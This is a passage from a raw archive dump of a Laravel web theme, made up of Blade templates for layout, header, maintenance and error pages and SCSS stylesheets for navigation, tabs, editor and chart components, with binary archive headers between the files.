    {{ __('View All') }}
    @endif
    @endif @endforeach @if(count($totals) && $plan) @endif
    PK˜W]'n³¾>>#default/maintenance/index.blade.phpnu„[µü¤@php $google_fonts_string = ''; $theme_google_fonts = Theme::getSetting('landingPage.googleFonts'); $app_js_path = 'resources/views/' . get_theme() . '/js/app.js'; $i = 0; foreach ($theme_google_fonts as $font_name => $weights) { $font_string = 'family=' . str_replace(' ', '+', $font_name); if (!empty($weights)) { $font_string .= ':wght@' . implode(';', $weights); } $google_fonts_string .= $font_string . ($i === count($theme_google_fonts) - 1 ? '' : '&'); $i++; } @endphp @if (isset($setting->meta_keywords)) @endif {{ getMetaTitle($setting, $settings_two) }} @if (filled($google_fonts_string)) @endif @php $link = 'resources/views/' . get_theme() . '/scss/landing-page.scss'; @endphp @vite($link) @if ($setting->frontend_custom_css != null) @endif @if ($setting->frontend_code_before_head != null) {!! $setting->frontend_code_before_head !!} @endif {!! adsense_header() !!} {{-- Rewordfull start --}} {{-- --}} {{-- --}} {{-- Rewordfull end --}} @vite($app_js_path) @stack('css') @if (setting('additional_custom_css') != null) {!! setting('additional_custom_css') !!} @endif

    {{ data_get($data, 'header') }}

    {{ data_get($data, 'paragraph') }}

    {!! data_get($data, 'footer') !!}
    PK˜W]EÇç×¥¥default/test.blade.phpnu„[µü¤@extends('panel.layout.app', ['disable_tblr' => true, 'disable_titlebar' => true]) @section('title', __('Overview')) @section('content') @endsection PK˜W]ƒÆã8ÚÚdefault/empty-section.blade.phpnu„[µü¤@php $sales_prev_week = cache('sales_previous_week'); $sales_this_week = cache('sales_this_week'); $popular_tools_data = cache('popular_tools_data'); $popular_plans_data = cache('popular_plans_data'); $user_behavior_data = cache('user_behavior_data'); $currencySymbol = currency()->symbol; @endphp @extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __('Overview')) @section('content') @endsection @push('script') @endpush PK˜W]ÈÃ×default/.DS_Storenu„[µü¤Bud1lbwspblobpanelbwspblob¸bplist00Ö ]ShowStatusBar[ShowToolbar[ShowTabView_ContainerShowSidebar\WindowBounds[ShowSidebar  _{{293, 274}, {920, 436}} #/;R_klmnoŠ ‹panelvSrnlong  @€ @€ @€ @ EDSDB `€ @€ @€ @PK˜W]#®®��#default/layout/footer.blade.php.baknu„[µü¤ PK˜W]#¾aUB7B7default/layout/header.blade.phpnu„[µü¤@php $menu_items = app(App\Services\Common\FrontMenuService::class)->generate(); @endphp
    @includeWhen($fSectSettings->preheader_active, 'landing-page.header.preheader') @includeWhen($fSetting->floating_button_active, 'landing-page.header.floating-button')
    @includeWhen($app_is_demo, 'landing-page.header.envato-link') @includeWhen(in_array($settings_two->chatbot_status, ['frontend', 'both']) && ($settings_two->chatbot_login_require == false || ($settings_two->chatbot_login_require == true && auth()->check())), 'panel.chatbot.widget', ['page' => 'landing-page'] ) PK˜W]ê�åÌÌdefault/layout/footer.blade.phpnu„[µü¤ PK˜W]¾v[;;default/layout/app.blade.phpnu„[µü¤ @if (setting('facebook_domain_verification')) @endif @if (setting('google_robots')) @endif @if (isset($setting->meta_keywords)) @endif {{ getMetaTitle($setting, $settings_two) }} @if (filled($google_fonts_string = \App\Helpers\Classes\ThemeHelper::googleFontsString())) @endif @php $link = 'resources/views/' . get_theme() . '/scss/landing-page.scss'; @endphp @vite($link) @if ($setting->frontend_custom_css != null) @endif @if ($setting->frontend_code_before_head != null) {!! $setting->frontend_code_before_head !!} @endif {!! adsense_header() !!} {{-- Rewordfull start --}} {{-- --}} {{-- --}} {{-- Rewordfull end --}} @vite(\App\Helpers\Classes\ThemeHelper::appJsPath()) @stack('css') @if (setting('additional_custom_css') != null) {!! setting('additional_custom_css') !!} @endif @livewireStyles @if (isset($smoothScroll) && filled($smoothScroll))
    @endif @include('layout.header') @yield('content') @include('layout.footer') @if (isset($smoothScroll) && filled($smoothScroll))
    @endif @if ($setting->frontend_custom_js != null) @endif @if ($setting->frontend_code_before_body != null) {!! $setting->frontend_code_before_body !!} @endif @if (isset($show_promo_banner) && $show_promo_banner === true) @include('discount-manager::components.promo-banner', ['bannerInfo' => $bannerInfo, 'landingPage' => true]) @endif @if (in_array($settings_two->chatbot_status, ['frontend', 'both'])) @endif @if ($setting->gdpr_status == 1) @endif @if (isset($smoothScroll) && filled($smoothScroll)) @endif @if (\Session::has('message')) @endif @livewireScriptConfig() @stack('script') @if ($app_is_demo) @endif PK˜W]Wï� � default/layout/error.blade.phpnu„[µü¤@extends('panel.layout.app', ['disable_tblr' => true]) @section('content')
    @if (isset($setting->logo_dashboard)) logo_dashboard_2x_path)) srcset="/{{ $setting->logo_dashboard_2x_path }} 2x" @endif alt="{{ $setting->site_name }}" > logo_dashboard_dark_2x_path)) srcset="/{{ $setting->logo_dashboard_dark_2x_path }} 2x" @endif alt="{{ $setting->site_name }}" > @else logo_2x_path)) srcset="/{{ $setting->logo_2x_path }} 2x" @endif alt="{{ $setting->site_name }}" > logo_dark_2x_path)) srcset="/{{ $setting->logo_dark_2x_path }} 2x" @endif alt="{{ $setting->site_name }}" > @endif

    @yield('error_code', '404')

    @yield('error_title', __('Looks like you’re lost.'))

    @yield('error_subtitle', __('We can’t seem to find the page you’re looking for.'))

    {{ __('Take me back to the homepage') }}
    @endsection PK˜W]*default/layout/partials/megmaenu.blade.phpnu„[µü¤PK˜W]Æb×*VVdefault/chatbot.blade.phpnu„[µü¤ {{-- --}} PK˜W]^ìì(default/scss/focus-mode/_focus-mode.scssnu„[µü¤@media (min-width: theme('screens.lg')) { .focus-mode { &, .lqd-page, .lqd-page-wrapper { min-height: 100vh; } .container, .container-fluid { max-width: 1400px; } .lqd-header .header-search-container, .lqd-navbar, .lqd-navbar-expander, .lqd-page-footer, .lqd-titlebar-pretitle, .lqd-titlebar-subtitle, .lqd-titlebar-title, .lqd-titlebar-actions:not(:has(.doc-share-dropdown, .reset-wizard-btn)), .lqd-titlebar .lqd-remaining-credit, .lqd-titlebar-col-actions:has(> .lqd-btn:first-child + .lqd-btn:last-child), // if there's only 2 buttons .lqd-titlebar :has(> .lqd-remaining-credit:only-child), .lqd-titlebar:not(:has(.lqd-titlebar-after, .lqd-posts-view-toggle, .doc-share-dropdown, .reset-wizard-btn)) { display: none; } .lqd-titlebar-container { row-gap: 0; } .lqd-posts-view-toggle { &.lg\:-mb-16 { margin-top: 0; margin-bottom: -1.5rem; } } @import './components/chat'; @import './components/generators'; } } PK˜W]°ið�÷÷-default/scss/focus-mode/components/_chat.scssnu„[µü¤.lqd-chats-list { @apply border-s; } .lqd-page-content-container:has(.chats-wrap)>div { display: flex; flex-direction: column; height: 100%; .chats-wrap { flex-grow: 1; display: flex; } .chats-list-container, .conversation-area-wrap { height: auto; } } .chats-wrap { .chats-search, .chat-list-item, .chats-list-container { border-width: 0; } .chats-search { height: auto; padding-bottom: 35px; padding-inline: 0; } .chats-sidebar-wrap { width: 25%; @apply md:h-full; } .conversation-area-wrap { width: 75%; border-top-width: 0; border-inline-end-width: 0; border-bottom-width: 0; >.lqd-card-body { padding-inline-start: theme('spacing.10'); } } .lqd-chat-head, .chats-container, .lqd-chat-form { padding-inline-start: 0; } .lqd-chat-head { background-color: theme('colors.background'); border: none; } .lqd-chat-avatar { @apply size-7; } .chat-content-container { @apply rounded-3xl; } .chat-content { @apply py-3.5 px-5; } &.chats-sidebar-hidden { .conversation-area-wrap { border-inline-start-color: transparent; } } } .chats-list-container { padding-inline-start: theme('spacing.5'); padding-inline-end: theme('spacing.10'); .chat-list-ul { @apply space-y-1.5; } .chat-list-item { border-radius: theme('borderRadius.3xl'); &:hover, &.active { background-color: theme('colors.heading.foreground/3%'); color: theme('colors.heading.foreground'); &:before { content: none; } } } .chat-list-item-trigger>svg, .chat-item-date { display: none; } .chat-list-item-trigger { padding-block: 10px; } .chats-search-form { .lqd-input { background: none; height: theme('size.11'); border: 1px solid theme('colors.border'); } } } PK˜W]ŠÙœF**3default/scss/focus-mode/components/_generators.scssnu„[µü¤.lqd-generators-list { @apply border-s; }PK˜W]‹±1ñzz>default/scss/advanced-image-editor/_advanced-image-editor.scssnu„[µü¤.lqd-adv-img-editor { .FIE_canvas-container { padding: 0; } .FIE_canvas-node { background-color: transparent; } }PK˜W]†ÒFÝüü*default/scss/single-page/_single-page.scssnu„[µü¤.blog-content, .page-content { font-size: 16px; line-height: 1.5em; color: #000; h1, h2, h3, h4, h5, h6 { margin-top: 0; font-weight: 700; line-height: 1.1em; letter-spacing: -0.03em; color: #1E2227; } h1, h2, h3 { margin-bottom: 0.5em; } h4, h5, h6 { margin-bottom: 0.75em; letter-spacing: -0.01em; } h1 { font-size: 65px; line-height: 1em; } h2 { font-size: 53px; } h3 { font-size: 39px; } h4 { font-size: 28px; } h5 { font-size: 20px; } h6 { font-size: 12px; } p { margin-bottom: 1.875em; } li { margin-bottom: 0.5em; } hr { border-color: rgb(0 0 0 / 10%); padding: 1em 0; } table { img { display: inline-block; } } .highlight { font-size: 12px; line-height: 1.5em; font-weight: 500; display: inline-block; border-radius: 6px; padding: 2px 14px 2px 14px; background: linear-gradient(90deg, #ECEAF8 0%, #E9C4E6 35%, #D2CDE2 70%, #EAEDFB 100%) } .leading { font-size: 20px; font-weight: 600; line-height: 1.2em; margin-bottom: 2.5em; } .num-block { display: inline-flex; min-width: 1.9412em; min-height: 1.9412em; padding: 0.25em 0.5em; align-items: center; justify-content: center; font-size: 17px; font-weight: 700; border-radius: 10px; background-color: #F3E3F8; } .info-box { display: inline-block; font-size: 14px; font-weight: 500; background-color: rgb(0 0 0 / 10%); padding: 4px 17px 4px 17px; border-radius: 11px; a { text-decoration: underline; } } }PK˜W]"default/scss/layout/_titlebar.scssnu„[µü¤PK˜W]º]\ll!default/scss/layout/_sidebar.scssnu„[µü¤.has-sidebar { .lqd-page-wrapper { @apply lg:pe-[--sidebar-width]; } .container { width: 100%; } }PK˜W]Vìc‘{{ default/scss/layout/_layout.scssnu„[µü¤@import './header'; @import './navbar'; @import './titlebar'; @import './errors'; @import './sidebar'; @import './footer'; PK˜W] RcÃ%% default/scss/layout/_footer.scssnu„[µü¤.lqd-page-footer { @apply w-full; } PK˜W]lM⤀ € default/scss/layout/_navbar.scssnu„[µü¤:root { --navbar-width: 17rem; } .lqd-navbar-logo { @apply lg:sticky top-0 start-0 z-40 lg:before:absolute lg:before:top-0 lg:before:-bottom-4 lg:before:-start-navbar-ps lg:before:-end-navbar-pe lg:before:backdrop-blur-2xl lg:before:[mask-image:linear-gradient(to_bottom,black,black_calc(100%-1rem),transparent_calc(100%-1rem))]; } .chat-list-item { @apply shrink-0; &.pin-mode { @apply -order-1; } } .top-notice-bar-visible { ~.lqd-page { .lqd-navbar-expander { top: calc(var(--top-notice-bar-height) + (var(--header-height) / 2)); } } } @media (min-width: theme('screens.lg')) { .navbar-shrinked { --navbar-width: 80px; --label-offset: 10px; --label-translate-x: 10px; --label-translate-y: 0px; --dropdown-translate-x: 10px; --dropdown-translate-y: 0px; .lqd-nav-link-label, .lqd-navbar-dropdown { position: fixed; top: var(--item-y); inset-inline-start: calc(var(--navbar-width) + var(--label-offset)); opacity: 0; visibility: hidden; width: max-content; z-index: 30; @apply bg-navbar-background; padding: 0.5rem 1rem; border-radius: 0.375rem; box-shadow: 0 4px 20px rgb(0 0 0 / 10%); transition: transform 0.15s, opacity 0.15s, visibility 0.15s; } .lqd-nav-link-label { transform: translate(var(--label-translate-x), var(--label-translate-y)); } .lqd-navbar-dropdown { display: block; margin-top: var(--dropdown-bottom-diff); transform: translate(var(--dropdown-translate-x), var(--dropdown-translate-y)); pointer-events: none; &:before { content: ''; display: inline-block; width: calc((var(--label-offset) + 3rem)); height: 100%; position: absolute; top: 0; inset-inline-start: calc((var(--label-offset) + 3rem) *-1); margin-top: calc(var(--dropdown-bottom-diff) * -1); } } .lqd-navbar-link { padding-left: theme('spacing.2'); padding-right: theme('spacing.2'); justify-content: center; } .lqd-navbar-dropdown-item { --label-translate-x: 0px; .lqd-nav-link-label { position: relative; top: auto; inset-inline-start: auto; padding: 0; opacity: 1; visibility: visible; border-radius: 0; box-shadow: none; } } .lqd-navbar-item { --dropdown-bottom-diff: clamp(calc(var(--dropdown-height) * -1), calc((100vh - (var(--item-y) + var(--dropdown-height)) - 1.5rem)), calc(var(--item-height))); &:has(> .lqd-navbar-dropdown) { >.lqd-navbar-link { .lqd-nav-link-label { --label-translate-y: calc(-100% - 0.5rem); margin-top: var(--dropdown-bottom-diff); &:after { content: ''; display: inline-block; width: 100%; height: 0.5rem; position: absolute; bottom: -0.5rem; inset-inline-start: 0; } } } } &:hover { --label-translate-x: 0px; --dropdown-translate-x: 0px; >.lqd-navbar-link .lqd-nav-link-label, >.lqd-navbar-dropdown { opacity: 1; visibility: visible; } >.lqd-navbar-dropdown { pointer-events: auto; } } } &[data-theme=default] { .lqd-navbar-item:has(.lqd-navbar-label:only-child) { @apply hidden; } } } } PK˜W]UŠÈY•• default/scss/layout/_errors.scssnu„[µü¤.page-404 { h1 { font-size: 92px; font-weight: 700; color: #000; } .btn { height: 48px; padding: 0.25em 2em; border-radius: 4em; } }PK˜W]h²ž uu default/scss/layout/_header.scssnu„[µü¤.lqd-header { @apply shrink-0; } .lqd-mobile-nav-toggle-icon { transition: top .1s .1s, bottom .1s .1s, transform .1s, opacity 0s .1s; &:after, &:before { content: ''; display: block; height: inherit; width: inherit; border-radius: inherit; background: inherit; position: absolute; left: 0; transition: inherit } &:before { top: -.45em; } &:after { bottom: -.45em; } .lqd-is-active & { transform: rotate(45deg); transition: top .1s, bottom .1s, transform .1s .1s, opacity 0s .1s; &:before { top: 0; transform: rotate(-90deg) } &:after { bottom: 0; opacity: 0 } } } PK˜W]NЀ5default/scss/landing-page.scssnu„[µü¤@config "../../../../tailwind.landing-page.config.js"; @tailwind base; @tailwind components; @tailwind utilities; @layer base { :root { --background: 240 25% 98%; --foreground: 216 11% 45%; --heading-background: 0 0% 100%; --heading-foreground: 213 13% 14%; --font-body: 'Golos Text'; --font-heading: 'Onest'; --headings-font-family: theme('fontFamily.heading'); --headings-line-height: 1.25rem; --headings-font-weight: 600; --headings-text-transform: ; --headings-letter-spacing: ; --headings-color: hsl(var(--heading-foreground)); --button-border: var(--border); --button-rounded: theme('borderRadius.full'); --h1-font-size: 5.25rem; // 84px --h1-line-height: 4.8125rem; // 77px --h1-letter-spacing: -0.05em; --h1-font-weight: 700; --h2-font-size: 3.3125rem; // 53px --h2-line-height: 1; --h2-letter-spacing: -0.03em; --h2-font-weight: 700; --h3-font-size: 2.4375rem; // 39px --h3-line-height: 1.1; --h3-letter-spacing: -0.03em; --h3-font-weight: 700; --h4-font-size: 1.125rem; // 18px --h4-line-height: 1; --h4-letter-spacing: -0.01em; --h4-font-weight: 500; --h5-font-size: 1rem; --h5-line-height: 1; --h5-letter-spacing: -0.01em; --h5-font-weight: 500; --h6-font-family: theme('fontFamily.body'); --h6-font-size: 0.9375rem; // 15px --h6-line-height: 1; --h6-font-weight: 500; } h1, h2, h3, h4, h5, h6 { font-family: var(--headings-font-family); line-height: var(--headings-line-height); font-weight: var(--headings-font-weight); font-style: var(--headings-font-style); text-transform: var(--headings-text-transform); letter-spacing: var(--headings-letter-spacing); color: var(--headings-color); } @for $i from 1 through 6 { h#{$i} { font-family: var(--h#{$i}-font-family, var(--headings-font-family)); font-size: var(--h#{$i}-font-size, var(--headings-font-size)); line-height: var(--h#{$i}-line-height, var(--headings-line-height)); font-weight: var(--h#{$i}-font-weight, var(--headings-font-weight)); font-style: var(--h#{$i}-font-style, var(--headings-font-style)); text-transform: var(--h#{$i}-text-transform, var(--headings-text-transform)); letter-spacing: var(--h#{$i}-letter-spacing, var(--headings-letter-spacing)); color: var(--h#{$i}-color, var(--headings-color)); } } @media (max-width: 767px) { :root { --h1-font-size: 4.3125rem; // 69px } } @media (max-width: 479px) { :root { --h1-font-size: 14vw; --h1-line-height: 1.15em; } h1 svg { width: 0.55em; } } } @layer components { .dot { @apply inline-block size-1 mx-1 align-middle bg-current rounded-full opacity-40; } @media (max-width: 1199px) { .container { @apply px-4; } } @import './components/outline-glow'; @import './components/shape-cutout'; @import './components/curtain'; @import './components/split-text'; @import './components/tab'; @import './components/progressive-blur'; } @layer utilities { @keyframes gradient-animation { 0% { background-position: 0% 100%; } 100% { background-position: 100% 100%; } } .banner-bg { background: linear-gradient(120deg, #70acd4 0%, #ca71ff 20%, #8469cc 30%, #4882e6 50%, #8469cc 70%, #70acd4 100%); background-size: 200% 200%; animation: gradient-animation 20s ease-in-out alternate infinite; } } .page-loaded { .banner-title { .lqd-split-text-words { --tw-blur: blur(0px); --tw-translate-x: 0 !important; --tw-translate-y: 0 !important; --tw-scale-x: 1; --tw-scale-y: 1; opacity: 1; } @for $i from 0 through 7 { .lqd-split-text-words:nth-child(#{$i + 1}) { transition-delay: ($i * 0.07) + s; } } } .banner-title-gradient { transform: translate(100%, 50%); transition: transform 3.5s 1s, opacity 0.3s 2.1s; opacity: 0; } } @media (max-width: 575px) { :root { --h2-font-size: 2.1875rem; // 35px } } @media (prefers-color-scheme: dark) { .lqd-chatbot { --heading-background: 220 8% 15%; --heading-foreground: 0 0% 100%; } } @import '../scss/single-page/single-page';PK˜W]tÊŽ“33+default/scss/components/_modal_popover.scssnu„[µü¤.custom__popover__title { font-size: 24px; line-height: 36px; text-decoration: none; color: rgb(228, 68, 68); text-align: center; padding: 15px 0; } .custom__popover__wrapper { position: relative; margin-top: 1.5rem; display: inline-block; } .custom__popover__back { position: fixed; width: 200vw; height: 200vh; background-color: rgba(0, 0, 0, 0.26); z-index: 54; left: -100vw; top: -100vh; } .custom__popover__content { opacity: 0; visibility: hidden; position: absolute; transform: translate(0, 15px); background-color: #fff; padding: 10px; box-shadow: 0px 2px 5px 2px rgba(0, 0, 0, 0.26); border-radius: 10px; min-width: 250px; } .custom__popover__content:before { position: absolute; z-index: -1; content: ''; right: calc(10% - 10px); top: -8px; border-style: solid; border-width: 0 10px 10px 10px; border-color: transparent transparent #fff transparent; transition-duration: 0.3s; transition-property: transform; } .custom__popover__wrapper .custom__popover__content { opacity: 1; visibility: visible; transform: translate(0px, 10px); transition: all 0.5s cubic-bezier(0.75, -0.02, 0.2, 0.97); z-index: 55; } .custom__popover__message { text-align: left; padding-left: 10px; } .theme-dark { .custom__popover__content:before { border-bottom-color: var(--tblr-body-bg); } } PK˜W] Ž@@+default/scss/components/_floating-menu.scssnu„[µü¤.lqd-floating-menu { view-transition-name: lqd-floating-menu; }PK˜W]‹�Ú‡ÿÿ$default/scss/components/_custom.scssnu„[µü¤.progress_bar { background: linear-gradient(to bottom right, #82e2f4, #8a8aed); } .spinner_button:before { content: ''; position: absolute; top: 0; bottom: 0; left: 0; right: 0; background: linear-gradient(to right, #8d65e9, #5391e4, #6bcd94); } PK˜W] áŒ>#default/scss/components/_badge.scssnu„[µü¤.bg-success { --tblr-bg-opacity: 0.1; --tblr-badge-color: var(--tblr-success); } .bg-danger { --tblr-bg-opacity: 0.1; --tblr-badge-color: var(--tblr-danger); } .badge { font-size: 0.75rem; text-transform: none; letter-spacing: 0; border-radius: 2em; }PK˜W]ç‘¡†œœ%default/scss/components/_tinymce.scssnu„[µü¤div.tox { color: unset !important; border: none; p { color: unset !important; background: none !important; } .tox-tbtn--bespoke, .tox-promotion, .tox-toolbar, .tox-menubar { background: none; } .tox-toolbar__primary { flex-wrap: nowrap; align-items: center; justify-content: space-between; gap: 12px; padding-bottom: 0; background: none; } .tox-tbtn__select-label { cursor: inherit; } .tox-toolbar__group { padding: 0; flex-wrap: nowrap; } .tox-edit-area__iframe { background: none; } .tox-collection__item { cursor: pointer; color: inherit; } .tox-collection__item-icon:empty { display: none !important; } .tox-tbtn--select { margin: 0; } .tox-tbtn:focus:not(.tox-tbtn--disabled), .tox-tbtn, .tox-collection__item-caret { svg { fill: currentColor; } } .tox-tbtn, .tox-collection__item-caret { &:hover { svg { fill: currentColor; } } } .tox-tbtn { width: 24px; height: 24px; } .tox-mbtn, .tox-tbtn { color: inherit; &:focus:not(.tox-tbtn--disabled), &:hover:not(:disabled):not(.tox-mbtn--active), &--active, &--active:hover, &:hover, &:active, &:focus { background: hsl(var(--foreground) / 10%); color: hsl(var(--foreground)); } &--enabled, &--enabled:hover { background: hsl(var(--primary) / 10%); color: hsl(var(--primary)); } } .tox-tbtn__icon-wrap { max-width: 100%; } .tox-collection--toolbar { .tox-collection__item--active { background-color: hsl(var(--foreground) / 10%); &:not(.tox-collection__item--state-disabled) { color: hsl(var(--foreground)); } } } .tox-split-button { &:focus { background: hsl(var(--foreground) / 10%); color: hsl(var(--foreground)); } } .tox-split-button { &:hover { box-shadow: 0 0 0 1px hsl(var(--foreground) / 10%) inset; } } .tox-editor-header { .tox-toolbar__group { &:first-child { .tox-tbtn--select { justify-content: space-between; width: 170px; height: 40px; padding: 0 16px; background: none; border: 1px solid hsl(var(--border)); border-radius: var(--input-rounded); } } &:nth-child(2) { .tox-tbtn { width: auto; } .tox-tbtn__select-label { overflow: visible; } } &:nth-child(3) { .tox-tbtn__select-chevron { display: none; } } } } .tox-custom-label { font-size: 10px; font-weight: 500; text-transform: uppercase; letter-spacing: 0.05em; margin-bottom: 1em; } .tox-menu.tox-collection.tox-collection--list { padding: 16px !important; .tox-collection__group { padding: 20px 0; &:first-child { padding-top: 0; } &:last-child { padding-bottom: 0; } } .tox-collection__item { cursor: pointer; } .tox-collection__item-label { font-size: 13px; } } .tox-collection--list { .tox-collection__item--active, .tox-collection__item--enabled { background-color: hsl(var(--primary) / 10%); color: hsl(var(--primary)); } .tox-collection__item--active { &:not(.tox-collection__item--state-disabled) { color: hsl(var(--foreground)); } } } .tox-toolbar-overlord { overflow-x: auto; } .tox-toolbar-overlord, &:not(.tox-tinymce-inline) .tox-editor-header { background: none; } &:not(.tox-tinymce-inline) { .tox-editor-header { box-shadow: none; } } &.tox-tinymce-aux { .tox-toolbar__overflow { background-color: hsl(var(--surface-light)); } } .tox-toolbar__overflow { .tox-tbtn { width: auto; height: auto; } } &.tox-edit-focus { .tox-edit-area { &:before { opacity: 0; } } } } .lqd-tinymce-toolbar-fixed { --header-translateX: var(--sidebar-w); padding-bottom: 7rem; div.tox { height: calc(100vh - var(--editor-tb-h) - 6rem - 7rem) !important; .tox-editor-header { box-shadow: 0 4px 10px rgb(0 0 0 / 5%) !important; background: hsl(var(--background)) !important; transition: transform 0.3s; position: fixed !important; inset-inline-start: 0; top: var(--editor-tb-h); width: 100vw; transform: translateX(var(--header-translateX)); transition: all 0.5s cubic-bezier(0.25, 0.8, 0.49, 1.0) !important; padding: 0 !important; .lqd-generator-sidebar-collapsed & { transform: translateX(0); z-index: 40; } } .tox-tbtn--select { margin: 0; } .tox-tbtn__select-label { font-size: 12px; font-weight: 500; } .tox-toolbar-overlord, .tox-toolbar__primary { background: none; } .tox-toolbar__primary { border-bottom: none !important; padding-bottom: 0; gap: 1rem; } .tox-toolbar__group { &:first-child, &:last-child { width: var(--sidebar-w); } &:first-child { margin-inline-end: auto; .tox-tbtn--select { border-radius: 0; border: none; border-inline-end: 1px solid hsl(var(--border)); } } &:last-child { margin-inline-start: auto; justify-content: end; padding-inline-end: 0.5rem; gap: 1rem; .tox-icon { opacity: 0.75; } .tox-tbtn { width: auto !important; } } } } } .theme-dark { div.tox { .tox-menu { background-color: hsl(var(--surface-light)); border: none; } } } html[dir='rtl'] { .workbook-form { .tox { .tox-toolbar__primary, .tox-toolbar { flex-direction: row-reverse !important; } } } .lqd-tinymce-toolbar-fixed { --header-translateX: calc(var(--sidebar-w) * -1); } } @media (max-width: 991px) { .lqd-tinymce-toolbar-fixed { div.tox { .tox-toolbar { &.tox-toolbar--scrolling { overflow-x: auto; flex-wrap: nowrap; } } .tox-editor-header { transform: translateX(0); } .tox-toolbar__group { &:first-child, &:last-child { width: auto; } } } } } @media (max-width: 565px) { .tox { .tox-toolbar.tox-toolbar--scrolling { overflow: hidden; flex-wrap: wrap; gap: 8px; .tox-toolbar__group { gap: 3px; } } } }PK˜W]ô;Š Š !default/scss/components/_tab.scssnu„[µü¤.nav-tabs { .nav-link { color: var(--tblr-primary); background-color: white; &.active { color: white; background-color: var(--tblr-primary); } } } .dz-progress { visibility: hidden !important; } .lqd-tabs-nav-toggle { justify-content: center; button { &:before { content: ''; display: inline-block; width: 14px; height: 14px; position: absolute; top: calc(50% - 7px); inset-inline-start: calc(50% - 15px); border-radius: 10px; transform: scale(0.5); opacity: 0; transition: transform 0.65s cubic-bezier(0.23, 1, 0.320, 1), opacity 0.65s cubic-bezier(0.23, 1, 0.320, 1); @apply bg-gradient-to-r from-[--gradient-from] via-[--gradient-via] to-[--gradient-to]; } &:after { content: ''; display: inline-block; width: 100%; height: 30px; border: 1px solid hsl(var(--heading-foreground) / 10%); } &:first-child, &:last-child { &:after { width: 28px; } .lqd-tabs-nav-txt { margin-bottom: 0; } } &:first-child { flex-direction: row; &:before { inset-inline-start: auto; inset-inline-end: 7px; } &:after { border-radius: 50em 0 0 50em; border-inline-end: none; } .lqd-tabs-nav-txt { margin-inline-end: 1em; } } &:last-child { flex-direction: row-reverse; &:before { inset-inline-start: 7px; } &:after { border-radius: 0 50em 50em 0; border-inline-start: none; } .lqd-tabs-nav-txt { margin-inline-start: 1em; } } &.lqd-is-active { @apply text-heading-foreground; &:before { opacity: 1; transform: scale(1); } } } .lqd-tabs-nav-txt { margin: 0 0.5em 7px; margin-bottom: 7px; } } .theme-dark { .nav-tabs { .nav-link { color: var(--lqd-color-heading); background-color: rgb(255 255 255 / 5%); &.active { color: white; background-color: var(--tblr-primary); } } } } @keyframes lqd-tabs-content-slide-in { from { transform: translateY(30px); opacity: 0; } } @keyframes lqd-tabs-content-scale-down { to { transform: scale(0.985); opacity: 0; } } ::view-transition-old(lqd-tabs-content) { animation: lqd-tabs-content-scale-down 0.3s cubic-bezier(0.23, 1, 0.320, 1) both; } ::view-transition-new(lqd-tabs-content) { animation: lqd-tabs-content-slide-in 0.3s cubic-bezier(0.23, 1, 0.320, 1) both; } .lqd-tabs-nav { view-transition-name: lqd-tabs-nav; } .lqd-tabs-content { view-transition-name: lqd-tabs-content; } @media screen and (max-width: 479px) { .lqd-tabs-nav-toggle { button { width: 100%; flex-direction: row; &:before { width: 16px; height: 16px; inset-inline-start: 10px; bottom: 10px; inset-inline-end: auto; } &:after { width: 36px; order: -1; border-radius: 50%; } &:not(:last-child) { margin-bottom: 0.5em; } } .lqd-tabs-nav-txt { margin-inline-start: 1em; margin-inline-end: 0; } } } PK˜W])default/scss/components/_marketplace.scssnu„[µü¤PK˜W]-default/scss/components/_favorite-button.scssnu„[µü¤PK˜W]ÿK–šä ä (default/scss/components/_apex-chart.scssnu„[µü¤.apexcharts-xaxistooltip, .apexcharts-yaxistooltip, .apexcharts-tooltip { backdrop-filter: blur(10px) brightness(120%); box-shadow: 0 2px 4px -1px hsl(0 0% 0% / 5%) !important; } .apexcharts-xaxistooltip, .apexcharts-yaxistooltip { border-color: hsl(var(--border)) !important; background: hsl(var(--background)) !important; color: hsl(var(--foreground)) !important; } .apexcharts-tooltip-title { padding: theme('size.2') theme('size.2'); margin-bottom: 0 !important; font-family: inherit !important; line-height: inherit; font-weight: 500; background: hsl(var(--foreground) / 10%) !important; border-bottom-color: hsl(var(--border)) !important; } .apexcharts-tooltip-series-group { padding-top: theme('size.2') !important; padding-bottom: theme('size.2') !important; } .apexcharts-tooltip-y-group { padding-top: 0 !important; padding-bottom: 0 !important; } .apexcharts-yaxistooltip-left:before, .apexcharts-yaxistooltip-left:after, .apexcharts-yaxistooltip-right:before, .apexcharts-yaxistooltip-right:after { border-left-color: hsl(var(--border)) !important; } .apexcharts-xaxistooltip-top:before, .apexcharts-xaxistooltip-top:after, .apexcharts-xaxistooltip-bottom:before, .apexcharts-xaxistooltip-bottom:after { border-bottom-color: hsl(var(--border)) !important; } // in popular plans chart we're hiding first 4 legends & points that added as placeholders #revenue-source { .apexcharts-legend-series[rel='1'], .apexcharts-legend-series[rel='2'], .apexcharts-legend-series[rel='3'], .apexcharts-legend-series[rel='4'], .apexcharts-series+.apexcharts-datalabels, .apexcharts-series+.apexcharts-datalabels+.apexcharts-datalabels, .apexcharts-series+.apexcharts-datalabels+.apexcharts-datalabels+.apexcharts-datalabels, .apexcharts-series+.apexcharts-datalabels+.apexcharts-datalabels+.apexcharts-datalabels+.apexcharts-datalabels { display: none !important; } .apexcharts-series[rel='1'], .apexcharts-series[rel='2'], .apexcharts-series[rel='3'], .apexcharts-series[rel='4'] { visibility: hidden; } } #popular-tools-chart { svg, foreignObject { overflow: visible; } .apexcharts-legend { padding: 0; overflow: visible; } .apexcharts-legend-series { display: flex; align-items: center; border-bottom: 1px solid hsl(var(--border)); padding: 0.75rem 0 !important; .apexcharts-legend-text { display: flex; flex-grow: 1; gap: theme('size.2'); span { font-weight: 700; margin-inline-start: auto; } } } } #popular-ai-tools { .apexcharts-legend, .apexcharts-svg, .apexcharts-svg>foreignObject { @apply lg:overflow-visible } .apexcharts-legend { @media (screen('lg')) { top: 50% !important; bottom: auto !important; transform: translateY(-50%) !important; } } .apexcharts-legend-series { @apply lg:py-4 lg:border-b lg:last:border-b-0 lg:text-sm lg:font-medium; } .apexcharts-legend-marker { @media (screen('lg')) { width: 10px !important; height: 10px !important; } } } .theme-dark { .apexcharts-tooltip { &.apexcharts-theme-light { border-color: hsl(var(--border)); background: hsl(var(--background)); color: hsl(var(--foreground)); } } } @media (min-width: 501px) { #popular-tools-chart { .apexcharts-legend { top: 0 !important; } } }PK˜W]@ûôu;;2default/scss/components/_generators-container.scssnu„[µü¤@keyframes lqd-generators-container-slide-in { from { transform: translateY(30px); opacity: 0; } } @keyframes lqd-generators-container-scale-down { to { transform: scale(0.985); opacity: 